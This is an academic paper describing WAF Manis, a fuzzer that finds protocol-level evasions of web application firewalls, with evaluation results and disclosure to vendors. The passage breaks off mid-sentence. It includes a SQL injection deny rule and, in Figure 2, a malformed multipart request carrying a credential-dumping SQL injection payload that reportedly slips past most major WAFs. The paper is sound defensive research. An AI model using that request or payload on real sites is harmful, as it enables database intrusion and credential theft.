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Abstract—Web Application Firewalls (WAFs) are a crucial line
of defense against web-based attacks. However, an emerging
threat comes from protocol-level evasion vulnerabilities, in
which adversaries exploit parsing discrepancies between the
WAF HTTP parser and those of web applications to circumvent
WAFs. Currently, uncovering these vulnerabilities still depends
on manual, ad hoc methods. In this paper, we propose WAF
Manis, a novel testing methodology to automatically discover
protocol-level evasion vulnerabilities in WAFs. We evaluated
WAF Manis against 14 popular WAFs including Cloudflare
and ModSecurity and 20 popular web frameworks including
Laravel and Spring. In total, we discovered 311 protocol-level
evasion cases affecting all tested WAFs and applications. Due
to the generic nature of protocol-level evasions, these evasion
vulnerabilities do not hinge on specific payload patterns and
can transmit any malicious payloads - for instance, SQL injec-
tion, XSS, or Log4jShell - to the target websites. We further
analyzed these vulnerabilities and identified three primary
reasons contributing to WAF evasions. We have reported those
identified vulnerabilities to the affected providers and received
acknowledgments and bug bounty rewards from Cloudflare
WAF, Fortinet WAF, Alibaba Cloud WAF, Huawei Cloud WAF,
ModSecurity, Go security Team, and the PHP security team.

1. Introduction

Web Applications Firewalls (WAFs) have become fun-
damental building blocks of modern application security. As
an increasing number of websites transition to cloud-based
platforms, and the prevalence of Web attacks continues to
rise, more and more websites are relying on web application
firewalls (WAFs) to ensure the security of their web applica-
tions. WAFs provide an additional layer of protection to web
applications by intercepting and scrutinizing inbound web
traffic to detect and block malicious requests. Web adminis-
trators can utilize WAFs as virtual patches to prevent various
attacks without altering the underlying codebase of the Web
application. Due to those advantages, the deployment of
WAFs is mandated by compliance regulations. For example,
the PCI standard, set for organizations handling credit card
transactions, dictates that any application facing the internet
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should either be protected by a WAF or successfully pass a
code review process [5]. The growing reliance on WAFs has
led to a substantial market value, projected to reach USD
21.05 billion by 2030 [38].

Given the popularity and importance of WAFs, sig-
nificant research has been dedicated to auditing and test-
ing WAF rulesets. These investigations typically involve
modifying the payload of a malevolent request to evade
the pattern recognition of WAF rule sets. For example,
SQLMap [43] obfuscated attacking payloads to evaluate
WAFs against SQL injection attacks. Luca et al. [18] utilize
an adversarial machine learning algorithm to alter the origi-
nal malicious payload and bypass WAFs. Qiu et al. [36] use
a Monte Carlo tree search guided approach to automatically
find SQL injection bypass payloads. WAF vendors also
actively incentivize the discovery of WAF evasion tech-
niques. For instance, Alibaba Cloud provides a bug bounty
rewards of approximately USD 800 for each discovered
WAF evasion vulnerability [2].

However, prior studies have shown that protocol-level
WAFs evasion vulnerabilities have emerged as a growing
threat [8], [25], [26], [39]. These vulnerabilities stem from
the discrepancies in parsing HTTP requests between WAFs
and applications. Attackers can exploit these inconsistencies
to manipulate protocol-level operations, such as how HTTP
requests are structured and parsed. This allows attackers to
effectively ’hide’ any malicious payloads within the opera-
tions of the protocol itself. As a result, these vulnerabilities
can be used to transmit any type of malicious content,
including but not limited to SQL injection, XSS, Log4jShell,
etc., effectively bypassing the protection provided by WAFs.
This makes them a potent tool for attackers, as they can
adapt to different attack payloads, making them more chal-
lenging to detect and prevent.

Despite posing a significant threat, the discovery of
these protocol-level evasion vulnerabilities is still reliant on
manual, ad hoc methods. They are difficult to find with
state-of-the-art testing tools, mainly due to three key chal-
lenges: First, existing WAF testing tools focus on generating
malicious payloads rather than malformed HTTP requests,
which is insufficient for discovering protocol-level evasions.
Second, previous works usually generate test cases blindly
because most commercial WAFs are closed-source products,
and can only be interacted with remotely, which makes



testing ineffective; Third, there is a lack of vulnerability
detector to examine the HTTP parsers of web applications
to detect protocol-level evasion vulnerabilities.

To tackle those challenges, we propose WAF Ma-
nis, a novel testing methodology to automatically discover
protocol-level evasion vulnerabilities in web application fire-
walls. For the first challenge, we design a grammar tree-
based payload-aware generation approach. This method al-
lows us to generate and mutate high-quality HTTP requests
that contain testing payloads and ensure these payloads are
not modified during mutation. For the second challenge, we
combine the strengths of white-box and black-box testing.
We first leverage open-source web applications for white-
box testing, using their code coverage to guide the gen-
eration of testing HTTP requests. We then forward these
requests to commercial WAFs for black-box testing. For
the third challenge, we design a testing harness to detect
protocol-level evasion vulnerabilities. This harness extracts
parameters and form data from different backend applica-
tions and checks for embedded malicious payloads. If a test
request can pass WAF inspection, while the web application
recognizes the embedded malicious payload from parsed
data, we use this disparity to identify potential protocol-
level evasion vulnerabilities.

We developed an automated testing tool, WAF Manis,
and evaluated it against 14 popular WAFs, including 8
commercial WAFs and 6 open-source WAFs, along with
20 popular backend applications. In total, we discovered
311 bypass vulnerabilities affecting all tested WAFs and
frameworks. Due to the universal nature of protocol-level
evasion vulnerabilities, these vulnerabilities can be used to
transmit any malicious payloads to the target websites. We
further analyzed these vulnerabilities and identified three
primary causes leading to protocol-level WAF evasions:
(1) Parameter type Confusion; (2) Differences in parsing
malformed parameter structure; (3) Inconsistencies in sup-
porting RFCs. Some evasion cases are even rooted in the
PHP and Go programming languages. We have respon-
sibly reported all identified vulnerabilities to the affected
providers and received acknowledgments and bug bounty
rewards from Cloudflare WAF, Fortinet WAF, Alibaba Cloud
WAF, Huawei Cloud WAF, ModSecurity, the Go security
team, and the PHP security team.

Contributions. In summary, we make the following
contributions:

• New automated approach to find protocol-level WAF
evasions. We introduced WAF Manis , a novel testing
methodology to automatically discover protocol-level
WAF evasion vulnerabilities that broadly threaten web
applications.

• New Implementation and Findings. We implemented
our methodology and evaluated it on 14 well-known
WAFs and 20 popular web frameworks. We found 311
new vulnerabilities which falls into three categories:
Parameter Type Confusion, Malformed
Parameter Structure and RFC Support
Gaps. Those vulnerabilities can be exploited to bypass

popular WAFs, including Cloudflare, Modsecurity,
Huawei Cloud WAF and Alibaba Cloud WAF.

• Responsible Disclosure. We responsibly reported our
findings to affected vendors and received positive feed-
back.

2. Background

2.1. Web Application Firewall

Web applications receive a variety of HTTP parameters
from users. For instance, in a GET request, the parameters
are typically included in the URL as query parameters,
whereas in a POST request, the parameters are sent in the
request body with the Content-Type header indicating the
body’s mime type. However, attackers may exploit these pa-
rameters to deliver malicious payloads intended to compro-
mise web applications. Such payloads might include harmful
SQL code, cross-site scripts, or forced commands embedded
within these parameters, leading to various attacks including
SQL injection, Cross-Site scripting (XSS), and command
injections.

To mitigate these threats, Web Application Firewalls
(WAFs) are widely deployed to safeguard web applica-
tions. A WAF serves as a protective intermediary between
clients and web applications. It works at the application
layer (HTTP/HTTPS), filtering, monitoring, and blocking
HTTP(S) traffic to and from the web application, thereby
providing a robust defense against malicious threats.

WAFs primarily operate by inspecting HTTP parameters
to detect and block malicious payload in HTTP(S) requests.
This is usually achieved by implementing a set of rules
known as a ruleset. A ruleset comprises patterns that are
dangerous or anomalous. If any HTTP parameters coincide
with a pattern within the ruleset, the WAF either flags or
blocks the associated HTTP request.

Currently, the most influential WAF ruleset is the
OWASP Core Rule Set (CRS) [17], which is widely used in
various commercial WAFs, including Google Cloud Armor,
AWS WAF, Azure WAF, etc. The CRS provides detection
rules for use with ModSecurity and aims to protect the web
application from common attacks such as those defined in
the OWASP Top Ten.

A typical ruleset consists of three core elements: 1) Pa-
rameters: These are HTTP parameters like URL parameters
and form data that the WAF extracts for rule application; 2)
Patterns: These are payload patterns that the rule matches
against, such as signatures of SQL injection payloads; and
3) Action: These are the steps taken when a request matches
the rule, such as rejection or logging. The following exam-
ple presents a CRS rule that denies all the requests with
“’or(1)#” in HTTP parameters, which can be used to
block SQL injection:

ARGS "@contains ’or(1)#" "deny" (1)
Figure 1 illustrates the workflow of WAF. In figure 1a

when a user transmits json {"id":"1"}, the WAF detects
the json parameter id value of 1, which does not match



the rules, so the request is forwarded to the WebApp.
In figure 1b when an attacker sends malicious payload
{"id":"’or(1)#"}, the WAF parses the request, iden-
tifies that the URL parameter ‘id’ matches the rule, and
subsequently rejects the request in accordance with the rule’s
defined action.

2.2. WAF Evasion Attack

With web applications providing high-value services,
attackers are persistently developing new web attack tech-
niques or variants to bypass the WAFs.

Payload-Level Evasion. A common way to bypass a
WAF is by obfuscating or encoding the malicious payload.
Attackers can alter the malicious payload of the request to
evade the pattern recognition of WAF. Figure 1c shows such
an example. In this scenario, an attacker exploits the fact
that the SQL interpreter of the target WebApp is not case-
sensitive. Thus an attacker can modify the case of the orig-
inal payload to bypass the rule and allow the SQL injection
request to reach the WebApp undetected. By obfuscating the
original payload without altering its semantics, attackers can
effectively trick the WAF into disregarding the malicious
payload. Recent work has developed several techniques or
tools to uncover these payload-level WAF evasions [18],
[36], [43]. However, payload-level WAF evasions can be
effectively mitigated by implementing strict input valida-
tion rules. For example, WAFs can prevent the technique
in Figure 1c by limiting input parameters to accept only
numerical values. The OWASP Core Rule Set (CRS) also
offers a broad and robust set of rules to defend against such
evasion techniques.

Protocol-Level Evasion. Protocol-level WAF evasion
modifies HTTP requests rather than malicious payloads to
bypass WAFs. Figure 1d shows an example. In HTTP,
the Content-Type header indicates the format of the data
being sent in the message body. For indicating json
payload, the appropriate Content-Type value to use is
application/json. However, the attacker can con-
fuse the WAF by modifying the Content-Type header to
application/x-whatever-json which WAF cannot
recognize and parse HTTP parameters. Nevertheless, the
web application, such as those based on the Flask frame-
work, can recognize both Content-Type headers and extract
the malicious payloads, consequently triggering SQL injec-
tion vulnerabilities.

As protocol-level evasion exploits weaknesses in the
HTTP parsers, it provides a more universal approach to
deliver any malicious payloads, thus posing severe threats to
the Web. Yet, currently, there is still a lack of an automatic
and efficient approach to discovering the protocol-level eva-
sions, which has motivated our study.

2.3. Fuzz Testing

Fuzz testing, also known as fuzzing, is a software testing
technique that involves generating enormous inputs to a
program to uncover bugs in an automatic way. Over the

past years, Fuzz testing has proven highly successful in
discovering bugs in software systems. Generally, fuzz testing
approaches can be divided into two categories: black-box
fuzzing and white-box fuzzing.

Black-box fuzzing refers to testing without using the
source code of the target program or runtime-generated
information, relying solely on blind input generation to
test target programs. Early fuzzing techniques [21], [29]
predominantly belong to the realm of black-box fuzzing,
generating inputs in a completely random manner. How-
ever, this approach can be time-consuming and inefficient
to trigger deep logical problems since randomly generated
inputs may not effectively cover the specific paths, states, or
conditions required to trigger deep logical problems within
the target program.

White-box fuzzing, on the other hand, leverages the
source code of the target program or runtime-generated
information, to guide input generation and accelerate the
discovery of vulnerabilities. A widely used approach is
Coverage-Guided Fuzzing [20], [34], [46] (CGF), which
incorporates code coverage information generated during
the execution phase of the target program. The main idea
behind CGF is to select test inputs that have the potential to
explore new areas of the code, leading to the likelihood of
finding more bugs or vulnerabilities in unexplored areas.
CGF fuzzer feeds test inputs to the target program and
monitors its execution. The code coverage information of
the executing target program can be obtained from specific
instructions inserted during compilation [46], directly in-
serted into the binary target program [19], or the support of
specific hardware features [4]. Fuzzer tends to retain inputs
that generate new code coverage and mutate them, with the
expectation that mutated new inputs will reach unexplored
areas in the program. AFL (American Fuzzy Loop) [46],
originally developed by Michal Zalewski, is one of the most
popular and widely used tools for CGF.

3. WAF Manis Overview

3.1. Threat Model

Generally, the detection process of WAF can be divided
into three phases: (1) Parameter parsing: When receiving
raw HTTP inputs from the clients, the WAF first parses
them to recognize HTTP parameters; (2) Pattern matching:
The WAF checks whether the parsed parameters are matched
by the pattern in WAF security policies, such as the CRS
rulesets; (3) Actions: If any parameter matches a pattern
in the WAF rulesets, WAF applies the actions in matched
rules, such as rejection. Otherwise, the requests pass through
WAF inspection and are forwarded to web applications.
Thus, parameter parsing forms the first step before detection
techniques can be applied to a suspicious HTTP request.
Failing to parse the parameters and extract the payloads
could lead to protocol-level WAF evasions.

Figure 2 presents a real-world case we discovered. Both
two HTTP requests contain the same malicious payload, but
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Figure 1. Four examples illustrating the WAF workflow, payload-level WAF evasion, and protocol-level evasions.

POST /vulnerabilities/sqli/ HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=boundary

--boundary
Content-Disposition: form-data; name="id";

1' union select 1,group_concat(user,0x3a,password)
from users -- 
--boundary--

POST /vulnerabilities/sqli/ HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=boundary

--
Content-Disposition:  name="id";
1' union select 1,group_concat(user,0x3a,password)
from users -- 

Normal Malicious Request Evasion Malicious Request

Figure 2. A motivating example of protocol-level WAF evasion we discov-
ered. The malformed request on the right can bypass most major WAFs to
exploit PHP-based applications.

the HTTP structures of the two requests are different. The
request on the left, embedding the malicious payloads in
a standard HTTP form, is typically rejected by the WAFs.
In contrast, the request on the right can pass through the
WAF, and the payload can be recognized by PHP-based
applications with $_POST. This is due to the built-in HTTP
parser of the PHP programming language, which exhibits
high tolerance for HTTP protocol.

In essence, protocol-level evasions are rooted in the
HTTP parsers of the WAF and the web applications. These
vulnerabilities are typically general WAF evasions and can
be exploited to deliver arbitrary malicious payloads. Fur-
thermore, many are difficult to mitigate by simply updating
the rules, thus posing severe security consequences on web
applications.

3.2. Challenges

In this study, we propose to develop a novel fuzzing
testing methodology to automatically discover protocol-level
evasion vulnerabilities in WAFs to address the rising threat.

The core idea is to generate a number of malformed requests
to identify the parsing differences between the WAFs and the
WebApps and detect protocol-level evasion vulnerabilities.
However, there are three major challenges in developing this
approach.

Challenge 1: How to generate and mutate testing
requests efficiently?

The first challenge is to generate a high number of
high-quality HTTP testing requests capable of triggering
protocol-level evasion vulnerabilities. These requests should
meet two requirements: (1) the testing requests should
conform to, or closely approximate, the grammar of the
HTTP protocol because HTTP messages are structured data.
Invalid HTTP requests will be rejected by the WAF or
web application without further processing; (2) the testing
requests should always contain a specific payload, and this
payload should not be modified during the mutation process.
Prior WAF testing tools [18], [36], [43] concentrated on
generating malicious payloads rather than malformed HTTP
requests, which is insufficient for discovering protocol-level
evasions.

To address this challenge, we have designed a gram-
mar tree-based payload-aware generation approach, which
includes two phases: generation and mutation. In the first
phase, we generate initial requests as seeds. We first con-
struct grammar trees based on the HTTP grammar from
RFC documents and traverse the grammar trees to generate
testing requests. This process starts from the root node and
selects one of the corresponding grammar rules to generate
its child nodes, iteratively expanding the tree until it reaches
the terminators to generate requests.

In the second phase, we mutate the initial seeds to
generate additional malformed data. This includes two types
of mutations: (1) grammar-level mutation, achieved by ma-



nipulating the nodes on the grammar tree, and (2) byte-level
variations, based on the grammar tree, i.e., mutating the
bytes of leaf nodes in the grammar tree representing terminal
symbols. This phase ensures the discovery of parsing vul-
nerabilities caused by non-standard RFC implementations.

To ensure our testing requests always contain the attack-
ing payload, we insert special nonterminal symbols into the
grammar tree, representing our predefined malicious pay-
load. When traversing the grammar tree, the special terminal
symbols are always included in the HTTP request. During
the mutation of requests, we avoid performing deletion or
modifying mutations at the grammar level, and we also do
not perform byte mutations except when using the encoding
operator on the terminal symbol. This ensures that our
predefined malicious payload remains unaltered during the
mutation process.

Challenge 2: How to test black-box WAFs effectively?
Many popular WAFs, especially Software as a Service

(SaaS) WAFs, are provided as cloud services, for which we
cannot get access to their source code or even the binary.

Black-box fuzzing tools, like Boofuzz [33], primarily
rely on monitoring application crashes or error messages
as indicators of potential vulnerabilities. However, protocol-
level WAF evasions do not lead to crashes, and the HTTP
response errors can only offer limited feedback. The lack
of fine-grained feedback renders the testing ineffective to
find vulnerabilities. On the other hand, white-box fuzzing,
like Coverage Guided Fuzzing (CGF), has proven highly
successful in discovering bugs. CFG selects seeds for the
next round of mutations based on the program code coverage
collected in each round. To collect code coverage from run-
ning programs, CGF requires patching the target program,
which is not feasible for black-box WAFs.

To overcome this challenge, we combine the strengths of
both white-box and black-box testing. Firstly, we leverage
open-source web applications for white-box testing, using
their code coverage to guide the generation of testing HTTP
requests. If the requests pass web applications validation and
the attacking payload can be recognized by these applica-
tions, we then forward these requests to commercial WAFs
for black-box testing.

The key observation behind this approach is that both the
HTTP parsers in applications and WAFs adhere to HTTP
protocol standards. Therefore, using open-source web ap-
plication codes can assist in efficiently creating high-quality
HTTP test requests. This approach also reduces the testing
requests for commercial WAFs and accelerates the fuzzing
process, as invalid requests are rejected by web applications
in our local environments before being forwarded to WAFs.

Challenge 3: How to detect protocol-level WAF eva-
sion automatically?

Previous fuzzing approaches like AFL have achieved
great success in identifying memory vulnerabilities by mon-
itoring program exceptions or memory errors to determine
whether a vulnerability has been triggered [20], [32], [34],
[46], [48]. However, protocol-level WAF evasions typically
don’t trigger these exceptions and these approaches will
miss these evasions. On the other hand, previous WAF test-

ing work [18], [43] focuses on payload-level evasions and
doesn’t examine the HTTP parsing behaviors of different
web application frameworks.

To address this challenge, we have developed a new vul-
nerability detector to detect parsing vulnerabilities between
the WAF and the web applications in a timely manner. For
a given testing request, we consider it as a valid protocol-
level WAF evasion if both the following requirements are
satisfied: (1) the request containing the malicious payload
can pass through the WAF to the web applications; (2)
the native built-in interface of web application frameworks
can recognize our predefined malicious payload in HTTP
parameters.

Thus, our vulnerability detector includes two parts: (1)
WAF Validator, which checks if the request can pass through
any WAF, and (2) WebApp Validator, which extracts HTTP
parameters from different web application frameworks, in-
cluding path parameters, query parameters, header param-
eters, and body parameters, to check if any match our
predefined payload. As some real-world WAFs modify the
message when forwarding requests, we save the forwarded
request data in the WAF Validator and then forward it to the
WebApp Validator for the 2-step validation.

4. Design and Implementation

4.1. Workflow

Figure 3 shows the workflow of WAF Manis, which
can be divided into 9 steps: (1) We collect the grammar
rules, such as ABNF rules, from the HTTP RFC documents.
(2) These collected rules are forwarded to theGenerator,
which constructs grammar trees and generates HTTP re-
quests as initial seeds. These initial requests are stored in
the Corpus. (3) In the evolutionary fuzz loop, the program
selects one testing request from the Corpus to be mutated
by the Mutator. (4) The mutated requests are forwarded to
theWebApp Executor for execution and then to the WebApp
Validator for validation. (5) The WebApp Executor collects
the code coverage information during execution, filtering out
good testing requests that contribute to code coverage and
adding them to the Corpus. (6) If a testing request passes
the WebApp Validator – meaning the predefined malicious
payload can be recognized – it is then forwarded to theWAF
Validator for black-box testing. (7) If a testing request passes
WAF Validator, it is then forwarded to the Evasion Sample
Centrifuge, and the bypassed WAF is recorded. (8) The Eva-
sion Sample Centrifuge replays and minimizes this evasion
example to validate the vulnerability. The validated testing
request is then added to the Corpus for further mutation.
(9) The corresponding raw HTTP message will be saved in
Evasion Samples.

To summarize, the Generator and Mutator are designed
to generate and mutate high-quality HTTP requests contain-
ing malicious payloads for testing. WebApp Executor sends
these mutated HTTP requests to theWebApp Validator and
tracks their code coverage during execution. The WebApp



Figure 3. WAF Manis Workflow
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Figure 4. Generating new sample of initial corpus

Validator and WAF Validator evaluate whether the request,
with its target payload, can be recognized by the web ap-
plication or successfully bypass the WAF inspection. Lastly,
the Evasion Sample Centrifuge is designed to minimize and
re-validate the WAF evasion samples. We will elaborate on
these modules in the sections below.

4.2. Generator and Mutator

The Generator and Mutator are developed to generate
and mutate high-quality HTTP requests for testing, as de-
scribed in section 3. We extracted the grammar rules of
HTTP requests from the RFCs related to the HTTP protocol
(including RFC 1867, 2046, 2231, 2616, 7578, RFC 7230-
7240). Then, we provide these grammar rules to the Genera-
tor to construct the grammar tree. We define an intermediate
variable serving as the link between the mutation and the
further generation of the corresponding byte stream. This
intermediate variable is stored and represented in the struc-
ture of a grammar tree, with any non-leaf node representing
a nonterminal symbol and any leaf node representing a
terminator. In particular, we set two special nonterminal
symbols, taint_key and taint_value, representing
the key-value pairs of our predefined malicious parameters.
We extract context-free grammar (CFG) productions from
related RFC standards for any nonterminal symbol, which

are shown in Figure 4. Each sample of the initial corpus
is generated by creating a tree with the start symbol as
the root. As the algorithm described in Appendix 1, the
Generator will expand nonterminal symbols in the tree by
randomly selecting possible right-hand sides in the produc-
tion according to their respective weights. Once the tree is
fully expanded, the terminal symbols are combined to form
the HTTP request.

By repeating the generation several times, WAF Manis
collects all the generated samples as the initial corpus. Based
on the initial corpus, the Mutator randomly selects a field
from an original request and applies either grammar-level
or byte-level mutations to it. For grammar-level mutation,
the mutator selects a non-leaf node from the grammar
tree represented by the intermediate variable and applies
the following two strategies: 1) delete the grammar node:
remove the sub-tree of the non-leaf node from the grammar
tree, and 2) duplicate the grammar node: copy the sub-tree
of the non-leaf node and add the sub-tree under the parent
node of the node. For byte-level mutation, the mutator can
select a leaf node from the grammar tree represented by
the intermediate variables and apply the following three
strategies: 1) add a character: insert a random character at
a random position in the leaf node, 2) delete a character:
delete a character at a random position in the leaf node
and 3) encode characters: apply encoding rules to charac-
ters, including urlencode, quote-printable, base64, and other
encoding methods. Specifically, to ensure that the contents
of our predefined malicious parameters remain unchanged
during the mutation process, we do not perform deletion
mutation on the two special nodes including taint_key
and taint_val, and also do not perform byte mutation
except encoding operator on the terminal symbol pointed to
by these two nodes. Otherwise, it may cause false positives
due to missing malicious parameters in the requests.



4.3. WebApp Executor

To ensure the smooth operation of each fuzzing iteration,
the Executor needs to satisfy at least three conditions: 1) The
Executor should launch the WebApp in a refreshed state
for each fuzzing iteration; 2) The Executor should return
the final execution result and timely terminate each fuzzing
iteration; 3) the Executor can obtain the code coverage
information of the WebApp during each round of Fuzz.

In the classical CGF model, the input samples are passed
through shared memory or input files, and since the test
target is stateless, the executor only needs to wait for the
main function under test to finish processing before pro-
ceeding to the next round. However, for WebApps whose
input is passed through network protocols, the expected
end signal or end time is uncertain. HTTP protocols are
stateless protocols, but in the fuzzing process, the request
sample may break the structure of the HTTP protocol when
getting mutated. This can cause the target program to close
the socket earlier than expected or keep waiting for the
remaining parts of the message. Moreover, for a complex
web application framework, it is challenging to locate the
address of the program where the socket will be released in
advance. As a solution, we measure in advance the average
processing time of the HTTP request by the target program,
and we set double the average time as the timeout time. This
helps to provide a reasonable timeout period that allows the
target program to proceed even if there are variations in the
processing time caused by mutations.

For the last goal, we have selected the correspond-
ing state-of-the-art (SOTA) fuzzing framework for different
development languages. For example, we use LibAFL to
fuzz PHP and Atheris to fuzz Python. To collect code
coverage information during execution, we modify the target
WebApps by inserting special instructions or using dynamic
binary instrumentation tools. In the fuzzing process, when
a sample is sent to WebApps, the Executor records the
code coverage information to the shared memory. After
WebApps return the response or the timeout is exceeded, the
coverage feedback module collects the coverage information
and clears the shared memory. This approach allows us to
effectively collect code coverage data for further analysis
and improvements in the fuzzing process.

4.4. WebApp Validator and WAF Validator

To detect protocol-level WAF evasion, we utilize the
interfaces and functions provided by the web framework
which we refer to as GetParameter Functions. These func-
tions are used to extract the target parameter from HTTP
requests. Once we obtain the target parameter, we perform
validation to check if it matches the predefined parameter
key-value pairs: taint_key and taint_value.

When the obtained parameter key-value pairs match the
key-value pairs we filled in beforehand when generating
the sample, we consider the sample to be parsed properly
and we return the response with a specific status code
SWEBAPP PASS to indicate the end state of successful

parsing. The constant SWEBAPP PASS we defined is not
a standard status code, which helps avoid the interference
of the server’s original status code. Similarly, we design
the WAF-protected WebApp (WAF Validator) to return the
status code SWAF PASS regardless of any HTTP request
received and save the raw request for further analysis.

The advantage of this strategy is that the reject char-
acteristics of different WAFs may be inconsistent, but the
accepted characteristics must be the response from the WAF-
protected WebApp. Therefore, when the response status
code SWAF PASS is received in the WAF verification pro-
cess, the request sample can be considered to have suc-
cessfully bypassed the WAF. To further improve efficiency,
we can simultaneously send the sample to different WAF
deployment addresses. If the sample successfully bypasses
any of the WAFs, we put it into the Evasion Sample
Centrifuge with the corresponding WAF identifier attached.
Additionally, we save the raw request message from the
WAF to monitor whether the request sample gets modified
by the WAF.

4.5. Evasion Sample Centrifuge

It seems that as long as the sample has passed both the
WebApp Validator and the WAF Validator, we can conclude
that the sample can bypass the WAF and transmit malicious
parameters to the WebApp. However, there are two problems
in practice, one is that in the real world, a significant number
of cloud WAFs will modify the original HTTP request in
some way, and the WebApp may receive a modified request
sample rather than the original request sample. Therefore,
the above judgment may still be at risk of false positives and
false negatives. The other issue is that a mutated sample may
have multiple factors that contribute to the WAF evasion, or
may simply add some redundant fields to the original bypass
factor. For Example, sample 5a is the initial sample, which
becomes sample 5b after mutation, which is able to bypass
the WAF. By minimizing the bypass sample b, we can find
that there are actually two factors that determine the ability
of sample 5b to bypass the WAF, which can be represented
by the minimized sample 5c and the minimized sample 5d,
respectively. If we keep mutating the sample 5b, it will not
only make it difficult for us to identify the true influencing
factors, but it will also result in new samples of variation
that may appear inconsistent but share the same influencing
factors.

To ensure the accuracy of the samples and isolate the
different WAF bypass factors in a single mutated sample,
we developed the Evasion Sample Centrifuge module. The
main idea behind this module is to replay and minimize
the evasion sample by iteratively removing nodes from
the grammar tree until the corresponding request sample
cannot bypass the WAF or fails to be correctly parsed
by the WebApp. The replay and minimizing process can
be described as algorithm 2 as shown in the Appendix.
To ensure that the samples can bypass the WAF and can
be correctly parsed by the WebApp, we send the request
samples saved by the WAF Validator to the WebApp for
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Figure 5. Evasion Sample Minimization

secondary verification, instead of sending the original sam-
ples directly to the WebApp Validator. Specifically, we also
deploy the WebApp Validators in this module. Throughout
the continuous node deletion process, we send the sample
after node deletion to the corresponding WAF, whose WAF
Validator will save the real request sample that the WAF
will forward to the WebApp, and this sample will be sent to
the deployed WebApp Validator. If this sample gets correctly
parsed by the WebApp validator, then we can conclude that
this sample can cause an effective WAF bypass in the real
world.

After minimization, samples in cmin will be added to the
corpus to undergo further mutation, and samples in smin will
be stored in Evasion Samples. Furthermore, the above algo-
rithm is only for one combination of one specific WAF with
a single WebApp Validator. Since we save bypass samples
in the corresponding WAF Validator, we can test multiple
WebApp Validator in parallel, which can help us test some
web frameworks written in programming languages that do
not yet have a mature Coverage-Guided Fuzz framework,
such as ruby.

In general, this module provides two optimizations for
WAF Manis. For one thing, the minimization is supple-
mentary to the pursuit of high code coverage. According
to Figure 3, we actually establish two corpus collection
approaches to determine which sample should be added to
the corpus and undergo mutation first: 1) code coverage
information in WebApp Executor and WAF evasion status.
The increment in code coverage means that the sample
triggers more code paths, which may include new unstable
parsing features or old deprecated features that are still
present in the code. This can lead to inconsistencies in the
semantic understanding of the same HTTP request samples
across implementations, resulting in WAF evasion. 2) ”reject
or not” information that we can get from the black-box
WAFs to guide the sample mutation, which can help WAF
Manis to find samples with incomplete protocol structure
that may have low code coverage but can also bypass
WAF while being parsed correctly by WebApp, such as the
evasion example shown in the figure 2.

For another, the minimization makes it easy to classify

different evasion samples. As shown in Figure 5, after
minimization, we separate two different types of evasions
samples 5c and 5d from sample 5b. In addition, it helps
avoid a large number of mutated samples sharing the same
factors that contribute to WAF evasion. Since the samples
we add to the corpus are those that remove the key nodes
and contribute to the WAF evasion, they could explore more
possible evasion approaches after further mutation.

5. Evaluation and Findings

5.1. Methodology and Testing Environment

Web Framework Language Version Github Star
Laravel PHP 9.19 73.8k
Django Python 4.15 71.6k
Gin Go 1.8.1 69.6k
Spring-boot Java 2.7.5 68k
Flask Python 2.1.3 63.4k
Express Node.js 4.18.2 61.2k
Fastapi Python 0.88.0 59.5k
Nest Node.js 9.0.0 57.6k
Rails Ruby 7.0.4 53.1k
Meteor Node.js 2.8.0 43.5k
Koa Node.js 2.14.1 34.1k
ASP.NET Core .NET 6.0.12 32k
Beego Go 2.0.1 29.9k
Symfony PHP 6.2.4 28.5k
Fastify Node.js 4.11.0 27.7k
Echo Go 4.10.0 25.9k
Sails Node.js 1.5.3 22.6k
Rocket Rust 0.5.0-rc2 20.9k
CodeIgniter PHP 4.0 18.2k
Webpy Python 0.62 5.8k

TABLE 1. TESTED OPEN SOURCE WEB FRAMEWORKS. (GITHUB STAR
COUNT AS OF JUNE 25, 2023)

To evaluate WAF Manis, we systematically analyze 8
commercial WAFs, 6 open-source WAFs, and 20 popular
web frameworks, as shown in table 2 and table 1. We
collected commercial WAFs according to the global WAF
market share report [38] and the Forrester WAF report [12]
and chose those WAFs that we could register accounts and
perform security testing. For open-source WAF, our list was
collected by exploring the ”WAF” topic on GitHub [3] and
subsequently selected those projects that have garnered the
most stars. We collected top-tier frameworks according to
the rankings from OSSinsight [31], which evaluates frame-
works based on GitHub stars, pull requests, and issues.

In this evaluation, We developed WebApp Validator for
20 web frameworks and implemented WebApp Executors to
collect code coverage of WebApp Validators based on PHP,
Python, and Rust languages. For each WAF Manis process,
we chose one WebApp Validators to collect code coverage
for guiding the mutation, while we tested all the WebApp
Validators in the Evasion Sample Centrifuge Module of each
WAF Manis process to find WAF evasion vulnerabilities of
the 20 web frameworks. Full tested GetParameter Function
list is in Appendix table 5.



Type WAF Evasion Samples Affected Web Framework1

Commercial

Microsoft Azure WAF 5 13/20
Google Cloud Armor 5 13/20
Alibaba Cloud WAF 21 20/20
Cloudflare WAF 38 20/20
Huawei Cloud WAF 40 20/20
Safeline WAF 22 20/20
Fortinet WAF 40 20/20
Barracuda WAF 8 20/20

Open Source

ModSecurity 2 2/20
Naxis 2 2/20
OpenWAF 13 20/20
Janusec 21 17/20
WAFbrain 49 20/20
HiHTTPs 45 20/20

TABLE 2. SUMMARY OF PROTOCOL-LEVEL WAF EVASION
VULNERABILITIES WE DISCOVERED

1. THE AMOUNT INCLUDES ALL EVASION CASES FOR THE
CORRESPONDING WAF

Comparison with State-of-the-Art Tools. Prior to de-
ploying our tool for testing various WAFs, we initially
utilized two state-of-the-art (SOTA) WAF testing tools:
xwaf [6] (a wrapper of SQLmap [43] specifically designed
to identify WAF evasions) and WAFNinja [27] to assess our
collection of WAFs. These results illustrate that both xwaf
and WAFNinja were unable to bypass the evaluated WAFs,
as shown in Appendix table 3.

5.2. Findings

After about three days of fuzzing, WAF Manis had gen-
erated around 108668 samples for each WebApp Validator.In
total,WAF Manis found 311 protocol-level evasion cases
affecting all tested WAFs and web applications. We list some
of the mutated samples found by WAF Manis in Appendix
table 4, and the final results of the vulnerabilities found are
shown in table 2.

We classified those evasion cases into three categories
based on the possible causes and WAFs’ behaviors: (1)
Parameter Type Confusion; (2) Malformed Parameter Struc-
ture; (3) RFC Support Gap. We present the examples of the
three evasion types in Figure 6 , and the details of each
category are illustrated in the following.

Category 1: Parameter Type Confusion. To parse the
content of a parameter correctly, the first primary require-
ment is to identify the type of the parameter accurately.
However, there are multiple fields and values in the HTTP
implementation standard that can be used to indicate the type
of the parameter, so if there are semantic gaps between the
WAF and the WebApp, an attacker can craft a malicious
